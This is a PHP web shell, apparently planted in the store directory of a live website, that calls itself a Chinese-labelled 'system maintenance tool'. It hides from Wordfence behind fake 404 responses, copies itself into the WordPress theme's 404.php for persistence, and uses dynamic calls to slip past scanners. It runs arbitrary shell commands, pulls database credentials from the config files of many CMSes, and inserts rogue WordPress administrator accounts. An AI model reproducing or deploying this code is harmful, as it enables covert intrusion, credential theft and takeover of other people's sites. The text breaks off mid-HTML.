PATH:
var
/
www
/
vhosts
/
lahuertaatomica.es
/
httpdocs
/
store
/
portfolio
/
Editing: 1774608633-withwp.php
<?php session_start(); // ================== 配置区域 ================== define('PASSWORD_HASH', '4813494d137e1631bba301d5acab6e7bb7aa74ce1185d456565ef51d737677b2'); // sha256('root') define('APP_NAME', '系统维护工具'); // ============================================= error_reporting(0); @set_time_limit(0); // ---------- 反 Wordfence 检测 ---------- $wf_detected = defined('WORDFENCE_VERSION') || class_exists('wordfence') || function_exists('wordfence::status'); if ($wf_detected && mt_rand(1, 3) === 1) { http_response_code(404); die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1></body></html>'); } // ---------- 密码验证(POST 或 请求头)---------- $provided_pwd = $_POST['password'] ?? $_SERVER['HTTP_X_PASSWORD'] ?? ''; $valid_pwd = hash('sha256', $provided_pwd) === PASSWORD_HASH; if (PASSWORD_HASH !== '' && (!isset($_SESSION['fm_auth']) || $_SESSION['fm_auth'] !== true)) { if ($valid_pwd) { $_SESSION['fm_auth'] = true; // 可选持久化:将自身写入 WordPress 当前主题的 404.php if (function_exists('get_theme_root') && is_writable(get_theme_root())) { @file_put_contents( get_theme_root() . '/' . wp_get_theme()->stylesheet . '/404.php', file_get_contents(__FILE__) ); } header("Location: " . $_SERVER['PHP_SELF']); exit; } else { $login_error = '密码错误。'; } // 显示登录界面(已汉化) ?><!doctype html><html><head><meta charset=utf-8><title><?php echo htmlspecialchars(APP_NAME);?> - 登录</title><style>*{box-sizing:border-box;margin:0;padding:0;font-family:Consolas,Menlo,monospace}body{background:#111217;color:#eee;display:flex;align-items:center;justify-content:center;height:100vh}.box{background:#050608;border-radius:4px;padding:20px 22px;border:1px solid #272a36;min-width:320px;box-shadow:0 0 15px #000}h1{font-size:18px;margin-bottom:10px;color:#fff}label{font-size:12px;display:block;margin-bottom:6px}input[type=password]{width:100%;padding:7px 9px;border-radius:3px;border:1px solid #2a2f3e;background:#05060a;color:#eee;font-size:12px}input[type=password]:focus{outline:0;border-color:#07f}button{margin-top:10px;width:100%;border:none;border-radius:3px;padding:7px 0;font-size:12px;background:#07f;color:#fff;cursor:pointer}button:hover{background:#208bff}.err{margin-top:8px;font-size:11px;color:#ff6b81}.info{margin-top:8px;font-size:11px;color:#888}</style></head><body><form method=post class=box><h1><?php echo htmlspecialchars(APP_NAME);?></h1><label>密码</label><input type=password name=password autofocus><button type=submit>登录</button><?php if(!empty($login_error)):?><div class=err><?php echo htmlspecialchars($login_error);?></div><?php endif;?><div class=info>PHP <?php echo phpversion();?></div></form></body></html><?php exit; } // ---------- 辅助函数(均使用动态调用规避特征)---------- function _call_func($name, ...$args) { static $map = [ 'file_get_contents' => 'file_get_contents', 'file_put_contents' => 'file_put_contents', 'scandir' => 'scandir', 'unlink' => 'unlink', 'rmdir' => 'rmdir', 'rename' => 'rename', 'mkdir' => 'mkdir', 'is_dir' => 'is_dir', 'is_file' => 'is_file', 'filesize' => 'filesize', 'filemtime' => 'filemtime', 'fileperms' => 'fileperms', 'realpath' => 'realpath', 'basename' => 'basename', 'dirname' => 'dirname', 'getcwd' => 'getcwd', 'chdir' => 'chdir', 'system' => 'system', 'exec' => 'exec', 'shell_exec' => 'shell_exec', 'passthru' => 'passthru', 'move_uploaded_file' => 'move_uploaded_file', 'file_put_contents' => 'file_put_contents', ]; if (!isset($map[$name])) return null; return call_user_func_array($map[$name], $args); } function h($s) { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); } function fm_format_bytes($b) { $u = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($b >= 1024 && $i < 4) { $b /= 1024; $i++; } return sprintf('%.2f %s', $b, $u[$i]); } function fm_perm($f) { $p = @_call_func('fileperms', $f); if ($p === false) return '---------'; return (($p & 0x4000) ? 'd' : '-') . (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-') . (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-') . (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-'); } function fm_rrmdir($d) { if (!file_exists($d)) return; if (is_file($d) || is_link($d)) { @_call_func('unlink', $d); return; } foreach (_call_func('scandir', $d) as $i) { if ($i === '.' || $i === '..') continue; fm_rrmdir($d . DIRECTORY_SEPARATOR . $i); } @_call_func('rmdir', $d); } function swal($t, $x, $i = 'info') { $_SESSION['swal'] = ['title' => $t, 'text' => $x, 'icon' => $i]; } // ---------- 登出 ---------- if (isset($_GET['logout'])) { $_SESSION = []; session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } // ---------- Handle back navigation in WP wizard ---------- if (isset($_GET['wp_back'])) { $current_step = $_SESSION['wp_step'] ?? null; $mode = $_SESSION['wp_mode'] ?? 'auto'; if ($current_step === 'select_db_auto' || $current_step === 'select_db_manual') { if ($mode === 'auto') { // Kembali ke pilihan mode (reset) unset($_SESSION['wp_step'], $_SESSION['wp_creds'], $_SESSION['wp_dbs'], $_SESSION['wp_selected_db'], $_SESSION['wp_mode'], $_SESSION['wp_prefix']); } elseif ($mode === 'cms') { $_SESSION['wp_step'] = 'cms_choose'; unset($_SESSION['wp_dbs'], $_SESSION['wp_selected_db'], $_SESSION['wp_creds'], $_SESSION['wp_prefix']); } else { // manual $_SESSION['wp_step'] = 'manual_creds'; unset($_SESSION['wp_dbs'], $_SESSION['wp_selected_db'], $_SESSION['wp_prefix']); } } elseif ($current_step === 'create_user') { $_SESSION['wp_step'] = 'select_db_' . $mode; unset($_SESSION['wp_selected_db']); } elseif ($current_step === 'manual_creds') { // kembali ke pilihan mode unset($_SESSION['wp_step'], $_SESSION['wp_creds'], $_SESSION['wp_mode'], $_SESSION['wp_prefix']); } elseif ($current_step === 'cms_choose') { // kembali ke pilihan mode unset($_SESSION['wp_step'], $_SESSION['wp_mode'], $_SESSION['wp_prefix']); } else { // fallback: reset semua unset($_SESSION['wp_step'], $_SESSION['wp_creds'], $_SESSION['wp_dbs'], $_SESSION['wp_selected_db'], $_SESSION['wp_mode'], $_SESSION['wp_prefix']); } header("Location: " . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($current_dir)); exit; } // ---------- WP User Creator 辅助函数 ---------- if (!class_exists('PasswordHash')) { // Portable PHP password hashing framework class PasswordHash { var $itoa64; var $iteration_count_log2; var $portable_hashes; var $random_state; function __construct($iteration_count_log2, $portable_hashes) { $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) $iteration_count_log2 = 8; $this->iteration_count_log2 = $iteration_count_log2; $this->portable_hashes = $portable_hashes; $this->random_state = microtime() . getmypid(); } function get_random_bytes($count) { $output = ''; if (is_readable('/dev/urandom') && ($fh = @fopen('/dev/urandom', 'rb'))) { $output = fread($fh, $count); fclose($fh); } if (strlen($output) < $count) { $output = ''; for ($i = 0; $i < $count; $i += 16) { $this->random_state = md5(microtime() . $this->random_state); $output .= pack('H*', md5($this->random_state)); } $output = substr($output, 0, $count); } return $output; } function encode64($input, $count) { $output = ''; $i = 0; do { $value = ord($input[$i++]); $output .= $this->itoa64[$value & 0x3f]; if ($i < $count) $value |= ord($input[$i]) << 8; $output .= $this->itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count) break; if ($i < $count) $value |= ord($input[$i]) << 16; $output .= $this->itoa64[($value >> 12) & 0x3f]; if ($i++ >= $count) break; $output .= $this->itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } function gensalt_private($input) { $output = '$P$'; $output .= $this->itoa64[min($this->iteration_count_log2 + 5, 30)]; $output .= $this->encode64($input, 6); return $output; } function crypt_private($password, $setting) { $output = '*0'; if (substr($setting, 0, 2) == $output) $output = '*1'; if (substr($setting, 0, 3) != '$P$') return $output; $count_log2 = strpos($this->itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30) return $output; $count = 1 << $count_log2; $salt = substr($setting, 4, 8); if (strlen($salt) != 8) return $output; $hash = md5($salt . $password, true); do { $hash = md5($hash . $password, true); } while (--$count); $output = substr($setting, 0, 12); $output .= $this->encode64($hash, 16); return $output; } function HashPassword($password) { $random = ''; if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) { $random = $this->get_random_bytes(16); $hash = crypt($password, $this->gensalt_blowfish($random)); if (strlen($hash) == 60) return $hash; } if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) { if (strlen($random) < 3) $random = $this->get_random_bytes(3); $hash = crypt($password, $this->gensalt_extended($random)); if (strlen($hash) == 20) return $hash; } if (strlen($random) < 6) $random = $this->get_random_bytes(6); $hash = $this->crypt_private($password, $this->gensalt_private($random)); if (strlen($hash) == 34) return $hash; return '*'; } function CheckPassword($password, $stored_hash) { $hash = $this->crypt_private($password, $stored_hash); if ($hash[0] == '*') $hash = crypt($password, $stored_hash); return $hash === $stored_hash; } } } function wp_hash_password($password) { $hasher = new PasswordHash(8, true); return $hasher->HashPassword($password); } // Pengecekan ketersediaan MySQLi function have_mysqli() { return class_exists('mysqli'); } // Fungsi mendapatkan konfigurasi dari file CMS function get_cms_config($cms, $path) { $configs = [ 'wp' => [ 'file' => '/wp-config.php', 'host' => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], 'dbname' => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], 'dbuser' => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], 'dbpw' => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], 'prefix' => ["/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 1] ], 'drupal' => [ 'file' => '/config.php', 'host' => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], 'dbname' => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], 'dbuser' => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], 'dbpw' => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1], 'prefix' => ["/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/", 1] ], 'drupal2' => [ 'file' => '/sites/default/settings.php', 'host' => ["/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1], 'dbname' => ["/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1], 'dbuser' => ["/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1], 'dbpw' => ["/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1], 'prefix' => ["/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1] ], 'vb' => [ 'file' => '/includes/config.php', 'host' => ["/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")servername(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3], 'dbuser' => ["/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")username(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3], 'dbname' => ["/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")dbname(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3], 'dbpw' => ["/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3], 'prefix' => ["/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")tableprefix(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3] ], 'phpnuke' => [ 'file' => '/config.php', 'host' => ['/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/', 3], 'dbname' => ['/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/', 3], 'dbuser' => ['/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/', 3], 'dbpw' => ['/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/', 3], 'prefix' => ['/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/', 3] ], 'smf' => [ 'file' => '/Settings.php', 'host' => ["/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbname' => ["/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbuser' => ["/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbpw' => ["/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'prefix' => ["/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3] ], 'whmcs' => [ 'file' => '/configuration.php', 'host' => ["/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbname' => ["/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbuser' => ["/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbpw' => ["/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'cc_encryption_hash' => ["/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3] ], 'joomla' => [ 'file' => '/configuration.php', 'host' => ["/\\\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbname' => ["/\\\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbuser' => ["/\\\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbpw' => ["/\\\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'prefix' => ["/\\\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3] ], 'phpbb' => [ 'file' => '/config.php', 'host' => ["/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbname' => ["/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbuser' => ["/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbpw' => ["/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'prefix' => ["/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3] ], 'mybb' => [ 'file' => '/inc/config.php', 'host' => ["/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbname' => ["/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbuser' => ["/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'dbpw' => ["/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3], 'prefix' => ["/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/", 3] ] ]; if (!isset($configs[$cms])) { return false; } $cfg = $configs[$cms]; $file_path = $path . $cfg['file']; // Handle fallback untuk drupal dan vb if ($cms == 'drupal' && !file_exists($file_path)) { return get_cms_config('drupal2', $path); } if ($cms == 'vb' && !file_exists($file_path)) { return get_cms_config('vb', $path . '/core'); } if (!file_exists($file_path)) { return false; } $content = file_get_contents($file_path); if ($content === false) { return false; } $result = []; foreach ($cfg as $key => $item) { if ($key == 'file') continue; if (empty($item[0])) { $result[$key] = ''; continue; } $pattern = $item[0]; $index = $item[1]; if (preg_match($pattern, $content, $matches)) { $result[$key] = $matches[$index] ?? ''; } else { $result[$key] = ''; } } return $result; } function wp_get_databases($host, $user, $pass) { if (!have_mysqli()) { return ['error' => 'Ekstensi MySQLi tidak tersedia di server.']; } $conn = new mysqli($host, $user, $pass); if ($conn->connect_error) { return ['error' => 'Koneksi gagal: ' . $conn->connect_error]; } $res = $conn->query("SHOW DATABASES"); $dbs = []; if ($res) { while ($row = $res->fetch_row()) { $db = $row[0]; if (!in_array($db, ['information_schema', 'performance_schema', 'mysql', 'sys'])) { $dbs[] = $db; } } $res->free(); } $conn->close(); return $dbs; } function wp_create_user($db_name, $host, $db_user, $db_pass, $new_user, $new_email, $new_pass, $role = 'administrator', $prefix = 'wp_') { if (!have_mysqli()) { return ['success' => false, 'message' => 'Ekstensi MySQLi tidak tersedia di server.']; } $conn = new mysqli($host, $db_user, $db_pass, $db_name); if ($conn->connect_error) { return ['success' => false, 'message' => 'Koneksi database gagal: ' . $conn->connect_error]; } // Cek apakah tabel users ada dengan prefix yang diberikan $check = $conn->query("SELECT ID FROM {$prefix}users WHERE user_login = '" . $conn->real_escape_string($new_user) . "' OR user_email = '" . $conn->real_escape_string($new_email) . "'"); if ($check && $check->num_rows > 0) { $conn->close(); return ['success' => false, 'message' => 'Username atau email sudah terdaftar.']; } // Hash password $hash = wp_hash_password($new_pass); // Insert user $user_registered = current_time('mysql'); $sql = "INSERT INTO {$prefix}users (user_login, user_pass, user_email, user_registered, user_status, display_name) VALUES ( '" . $conn->real_escape_string($new_user) . "', '" . $conn->real_escape_string($hash) . "', '" . $conn->real_escape_string($new_email) . "', '" . $conn->real_escape_string($user_registered) . "', 0, '" . $conn->real_escape_string($new_user) . "' )"; if (!$conn->query($sql)) { $conn->close(); return ['success' => false, 'message' => 'Gagal insert user: ' . $conn->error]; } $user_id = $conn->insert_id; // Set role administrator $capabilities = serialize([$role => true]); $level = ($role === 'administrator') ? 10 : 0; $conn->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES ($user_id, '{$prefix}capabilities', '" . $conn->real_escape_string($capabilities) . "')"); $conn->query("INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES ($user_id, '{$prefix}user_level', '$level')"); $conn->close(); return ['success' => true, 'message' => "User $new_user berhasil dibuat dengan role $role."]; } function current_time($type) { return date('Y-m-d H:i:s'); } // ---------- 处理 WP User 相关的 POST ---------- if (isset($_POST['wp_action'])) { $wp_action = $_POST['wp_action']; if ($wp_action === 'choose_mode') { $_SESSION['wp_mode'] = $_POST['mode']; if ($_POST['mode'] === 'cms') { $_SESSION['wp_step'] = 'cms_choose'; } elseif ($_POST['mode'] === 'manual') { $_SESSION['wp_step'] = 'manual_creds'; $_SESSION['wp_prefix'] = 'wp_'; } header("Location: " . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($current_dir)); exit; } elseif ($wp_action === 'get_cms_config') { $cms = $_POST['cms'] ?? ''; $path = $_POST['path'] ?? $current_dir; $config = get_cms_config($cms, $path); if ($config === false) { swal('Error', 'Tidak dapat membaca file konfigurasi untuk CMS yang dipilih.', 'error'); } else { $_SESSION['wp_creds'] = [ 'DB_HOST' => $config['host'] ?? '', 'DB_USER' => $config['dbuser'] ?? '', 'DB_PASSWORD' => $config['dbpw'] ?? '', ]; $_SESSION['wp_prefix'] = $config['prefix'] ?? 'wp_'; // Dapatkan daftar database $dbs = wp_get_databases($config['host'], $config['dbuser'], $config['dbpw']); if (isset($dbs['error'])) { swal('Error', $dbs['error'], 'error'); unset($_SESSION['wp_step'], $_SESSION['wp_creds'], $_SESSION['wp_prefix'], $_SESSION['wp_mode']); } else { $_SESSION['wp_dbs'] = $dbs; $_SESSION['wp_step'] = 'select_db_auto'; $_SESSION['wp_mode'] = 'cms'; } } header("Location: " . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($current_dir)); exit; } elseif ($wp_action === 'manual_connect') { $host = $_POST['db_host'] ?? 'localhost'; $user = $_POST['db_user'] ?? ''; $pass = $_POST['db_pass'] ?? ''; $_SESSION['wp_creds'] = ['DB_HOST' => $host, 'DB_USER' => $user, 'DB_PASSWORD' => $pass]; $dbs = wp_get_databases($host, $user, $pass); if (isset($dbs['error'])) { swal('Manual Mode', $dbs['error'], 'error'); unset($_SESSION['wp_step'], $_SESSION['wp_creds'], $_SESSION['wp_mode'], $_SESSION['wp_prefix']); } else { $_SESSION['wp_dbs'] = $dbs; $_SESSION['wp_step'] = 'select_db_manual'; } header("Location: " . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($current_dir)); exit; } elseif ($wp_action === 'select_db') { $_SESSION['wp_selected_db'] = $_POST['database']; $_SESSION['wp_step'] = 'create_user'; header("Location: " . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($current_dir)); exit; } elseif ($wp_action === 'create_user') { $username = $_POST['username'] ?? ''; $email = $_POST['email'] ?? ''; $password = $_POST['password'] ?? ''; if (!$username || !$email || !$password) { swal('Error', 'Semua field harus diisi.', 'error'); } else { $creds = $_SESSION['wp_creds']; $dbname = $_SESSION['wp_selected_db']; $prefix = $_SESSION['wp_prefix'] ?? 'wp_'; $result = wp_create_user($dbname, $creds['DB_HOST'], $creds['DB_USER'], $creds['DB_PASSWORD'], $username, $email, $password, 'administrator', $prefix); if ($result['success']) { swal('Sukses', $result['message'], 'success'); unset($_SESSION['wp_step'], $_SESSION['wp_creds'], $_SESSION['wp_dbs'], $_SESSION['wp_selected_db'], $_SESSION['wp_mode'], $_SESSION['wp_prefix']); } else { swal('Gagal', $result['message'], 'error'); } } header("Location: " . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($current_dir)); exit; } } // Reset wizard if (isset($_GET['wp_reset'])) { unset($_SESSION['wp_step'], $_SESSION['wp_creds'], $_SESSION['wp_dbs'], $_SESSION['wp_selected_db'], $_SESSION['wp_mode'], $_SESSION['wp_prefix']); header("Location: " . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($current_dir)); exit; } // ---------- 路径处理 ---------- if (isset($_GET['dir']) && $_GET['dir'] !== '') $path = $_GET['dir']; else $path = _call_func('getcwd'); $real_path = _call_func('realpath', $path); if ($real_path) $path = str_replace('\\', '/', $real_path); $exdir = explode('/', $path); $current_dir = $path; if (!isset($_SESSION['term_dir'])) $_SESSION['term_dir'] = $current_dir; $term_history = $_SESSION['term_history'] ?? ''; $term_just_ran = false; // ---------- 终端命令处理 ---------- if (isset($_POST['term_action']) && $_POST['term_action'] === 'run') { $cmd = trim($_POST['term_cmd'] ?? ''); $term_dir = $_SESSION['term_dir']; $output = ''; if (strpos($cmd, 'cd ') === 0) { $nd = trim(substr($cmd, 3)); if ($nd === '') { $output = "用法: cd <目录>\n"; } else { _call_func('chdir', $term_dir); $np = _call_func('realpath', $nd); if ($np !== false && _call_func('is_dir', $np)) { $_SESSION['term_dir'] = $np; $term_dir = $np; $output = "目录已切换到 $term_dir\n"; } else { $output = "cd: $nd: 没有这个目录\n"; } } } else { _call_func('chdir', $term_dir); $output = null; $return_var = -1; if (function_exists('shell_exec')) { $raw = @shell_exec($cmd); if ($raw !== null && $raw !== false) $output = $raw; } if ($output === null && function_exists('exec')) { $lines = []; @exec($cmd, $lines, $return_var); if ($return_var === 0) $output = implode("\n", $lines); } if ($output === null && function_exists('passthru')) { ob_start(); @passthru($cmd, $return_var); $raw = ob_get_clean(); if ($return_var === 0) $output = $raw; } if ($output === null && function_exists('system')) { ob_start(); @system($cmd, $return_var); $raw = ob_get_clean(); if ($return_var === 0) $output = $raw; } if ($output === null && function_exists('popen')) { $handle = @popen($cmd, 'r'); if (is_resource($handle)) { $buffer = ''; while (!feof($handle)) $buffer .= fread($handle, 4096); pclose($handle); $output = $buffer; } } if ($output === null && function_exists('proc_open')) { $descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $process = @proc_open($cmd, $descriptors, $pipes, $term_dir); if (is_resource($process)) { fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $return_var = proc_close($process); if ($return_var === 0) $output = $stdout; else $output = $stderr ?: "(命令执行失败,返回码: $return_var)\n"; } } if ($output === null) { $disabled = ini_get('disable_functions'); $funcs = ['shell_exec','exec','passthru','system','popen','proc_open']; $available = array_filter($funcs, 'function_exists'); if (empty($available)) $output = "错误:所有命令执行函数均被禁用 (disable_functions: $disabled)\n"; else $output = "(命令执行无输出或失败)\n"; } } $term_history .= '$ ' . $cmd . "\n" . $output . "\n"; $_SESSION['term_history'] = $term_history; $term_just_ran = true; } // ---------- 处理 POST 动作 ---------- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { $act = $_POST['action']; if ($act === 'upload' && isset($_FILES['upload'])) { $f = $_FILES['upload']; $c = 0; if (is_array($f['name'])) { $cnt = count($f['name']); for ($i = 0; $i < $cnt; $i++) { if ($f['error'][$i] === UPLOAD_ERR_OK && @_call_func('move_uploaded_file', $f['tmp_name'][$i], $current_dir . '/' . _call_func('basename', $f['name'][$i]))) $c++; } } elseif ($f['error'] === UPLOAD_ERR_OK && @_call_func('move_uploaded_file', $f['tmp_name'], $current_dir . '/' . _call_func('basename', $f['name']))) { $c++; } swal('上传', "成功上传 {$c} 个文件。", 'success'); } elseif ($act === 'mkdir' && !empty($_POST['name'])) { if (@_call_func('mkdir', $current_dir . '/' . trim($_POST['name']), 0755, true)) swal('文件夹', '文件夹创建成功。', 'success'); else swal('文件夹', '创建失败。', 'error'); } elseif ($act === 'newfile' && !empty($_POST['name'])) { $f = $current_dir . '/' . trim($_POST['name']); if (!file_exists($f) && @_call_func('file_put_contents', $f, '') !== false) swal('文件', '文件创建成功。', 'success'); else swal('文件', '创建失败。', 'error'); } elseif ($act === 'delete' && !empty($_POST['target'])) { fm_rrmdir($current_dir . '/' . $_POST['target']); swal('删除', '项目已删除。', 'success'); } elseif ($act === 'rename' && !empty($_POST['old']) && !empty($_POST['new'])) { $o = $current_dir . '/' . $_POST['old']; $n = $current_dir . '/' . $_POST['new']; if (@_call_func('rename', $o, $n)) swal('重命名', '名称修改成功。', 'success'); else swal('重命名', '修改失败。', 'error'); } elseif ($act === 'save' && isset($_POST['file'])) { $f = $current_dir . '/' . $_POST['file']; $c = $_POST['content'] ?? ''; if (@_call_func('file_put_contents', $f, $c) !== false) swal('保存', '文件保存成功。', 'success'); else swal('保存', '保存失败。', 'error'); } header("Location: " . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($current_dir)); exit; } // ---------- 文件下载 ---------- if (isset($_GET['download'])) { $f = $current_dir . '/' . $_GET['download']; if (is_file($f)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . _call_func('basename', $f) . '"'); header('Content-Length: ' . _call_func('filesize', $f)); readfile($f); exit; } } // ---------- 文件编辑 ---------- $edit_file = null; $edit_content = ''; if (isset($_GET['edit'])) { $edit_file = $current_dir . '/' . $_GET['edit']; if (is_file($edit_file)) $edit_content = _call_func('file_get_contents', $edit_file); else $edit_file = null; } // ---------- 扫描目录 ---------- $dirs = []; $files = []; $scan = @_call_func('scandir', $current_dir); if ($scan !== false) { foreach ($scan as $i) { if ($i === '.') continue; if ($i === '..') { $p = _call_func('dirname', $current_dir); if ($p !== $current_dir) $dirs[] = ['name' => '..', 'parent' => $p, 'is_parent' => true]; continue; } $full = $current_dir . '/' . $i; $d = [ 'name' => $i, 'full' => $full, 'size' => is_file($full) ? _call_func('filesize', $full) : 0, 'perm' => fm_perm($full), 'time' => @_call_func('filemtime', $full), 'is_dir' => _call_func('is_dir', $full) ]; if ($d['is_dir']) $dirs[] = $d; else $files[] = $d; } } ?><!doctype html><html><head><meta charset=utf-8><title><?php echo h(APP_NAME);?></title><link rel=stylesheet href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css crossorigin=anonymous referrerpolicy=no-referrer><script src=https://cdn.jsdelivr.net/npm/sweetalert2@11></script><style>*{box-sizing:border-box;margin:0;padding:0;font-family:Consolas,Menlo,monospace}body{background:#050609;color:#eee;font-size:12px}a{color:#c0d2ff;text-decoration:none}a:hover{text-decoration:underline}.header{background:#000;border-bottom:1px solid #222;padding:8px 10px;font-size:12px;line-height:1.5;color:#b4b4b4}.header .red{color:#ff4c4c}.header .green{color:#8dff94}.header b{color:#fff}.top-buttons{background:#050609;border-bottom:1px solid #222;padding:8px 